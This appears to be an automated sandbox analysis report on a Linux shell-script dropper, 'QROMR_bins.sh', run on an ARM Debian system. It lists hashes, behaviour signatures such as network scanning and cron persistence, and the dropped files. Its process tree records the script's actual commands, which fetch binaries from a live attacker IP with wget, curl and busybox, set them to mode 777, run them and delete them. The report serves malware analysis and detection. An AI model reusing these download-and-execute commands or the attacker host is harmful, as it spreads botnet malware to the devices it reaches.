Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25-11-2024 15:54

General

  • Target

    QROMR_bins.sh

  • Size

    10KB

  • MD5

    868a25d1cb29cf4ae8a689739b0e3fa5

  • SHA1

    bb363298ac6bc042d7a482a3bd0116c57b6448d3

  • SHA256

    b5a72a1e5e99ac9a2f9dc7e9c66e567cd2261f92604534f9e997546c5f5428b3

  • SHA512

    138b1ab191e4ac93cdbf3ddb24f0c569aafcac14cadd2a74f22abe254f944174226793bfcbf7e828efdf717f35150baad68a981d64dea1563ac36715b14870cc

  • SSDEEP

    96:y64j4H4/4q4K4mJGWGrPLi01kR0lTf5NPAVt/hI4UP4g01kR0lTfpuA5zAVt/hIM:y6s06XrzaKybNPhgKyPls06XrJ

Malware Config

Signatures

  • Contacts a large (1515) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/QROMR_bins.sh
    /tmp/QROMR_bins.sh
    1⤵
      PID:644
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:653
        • /usr/bin/wget
          wget http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
          • Writes file to tmp directory
          PID:655
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:672
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
          • Writes file to tmp directory
          PID:701
        • /bin/chmod
          chmod 777 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
          • File and Directory Permissions Modification
          PID:704
        • /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          ./QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
          • Executes dropped EXE
          PID:706
        • /bin/rm
          rm QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
            PID:709
          • /usr/bin/wget
            wget http://216.126.231.240/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
            • Writes file to tmp directory
            PID:710
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:717
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
            • Writes file to tmp directory
            PID:726
          • /bin/chmod
            chmod 777 BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
            • File and Directory Permissions Modification
            PID:730
          • /tmp/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            ./BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
            • Executes dropped EXE
            PID:732
          • /bin/rm
            rm BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
              PID:734
            • /usr/bin/wget
              wget http://216.126.231.240/bins/2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
              • Writes file to tmp directory
              PID:735
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:739
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
              • Writes file to tmp directory
              PID:740
            • /bin/chmod
              chmod 777 2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
              • File and Directory Permissions Modification
              PID:745
            • /tmp/2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              ./2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
              • Executes dropped EXE
              PID:747
            • /bin/rm
              rm 2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
                PID:749
              • /usr/bin/wget
                wget http://216.126.231.240/bins/a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                • Writes file to tmp directory
                PID:751
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:760
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/chmod
                chmod 777 a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                • File and Directory Permissions Modification
                PID:770
              • /tmp/a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                ./a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                • Executes dropped EXE
                PID:772
              • /bin/rm
                rm a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                  PID:774
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                  • Writes file to tmp directory
                  PID:776
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:783
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                  • Writes file to tmp directory
                  PID:787
                • /bin/chmod
                  chmod 777 meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                  • File and Directory Permissions Modification
                  PID:788
                • /tmp/meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  ./meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                  • Executes dropped EXE
                  PID:789
                • /bin/rm
                  rm meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                    PID:791
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                    • Writes file to tmp directory
                    PID:792
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:795
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                    • Writes file to tmp directory
                    PID:796
                  • /bin/chmod
                    chmod 777 5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                    • File and Directory Permissions Modification
                    PID:797
                  • /tmp/5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    ./5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                    • Executes dropped EXE
                    PID:798
                  • /bin/rm
                    rm 5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                      PID:800
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                      • Writes file to tmp directory
                      PID:801
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:802
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                      • Writes file to tmp directory
                      PID:803
                    • /bin/chmod
                      chmod 777 XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                      • File and Directory Permissions Modification
                      PID:804
                    • /tmp/XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      ./XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                      • Executes dropped EXE
                      PID:805
                    • /bin/rm
                      rm XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                        PID:807
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        2⤵
                        • Writes file to tmp directory
                        PID:808
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:809
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        2⤵
                        • Writes file to tmp directory
                        PID:810
                      • /bin/chmod
                        chmod 777 xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        2⤵
                        • File and Directory Permissions Modification
                        PID:811
                      • /tmp/xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        ./xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:812
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:814
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:815
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:816
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:817
                            • /bin/rm
                              rm xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                              2⤵
                                PID:819
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/ZyeHsCfEBP5YqhbZW94ItorSGVRlXNkNcT
                                2⤵
                                  PID:822

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/5W9con9H2UWu7fOyEMN967UCp0NLxplrKM

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /var/spool/cron/crontabs/tmp.H42CHN

                                Filesize

                                210B

                                MD5

                                508ad041b81974b1e77f9e213d17aaf3

                                SHA1

                                82c7d628452ccfec95654da7eb9ba0d305652c89

                                SHA256

                                5275ee22d92e7fb92f0aa2d995a843b865592e3038f04a40b0e7da048facaf3d

                                SHA512

                                b9b2ff97c97f303fc29f086e6db5c931e58fd31170eeb38a3da9ddf7960293bc0ccc7a6cfc107392e34f21e9c2a933084ed43e566cff93fd81c11bf07713da23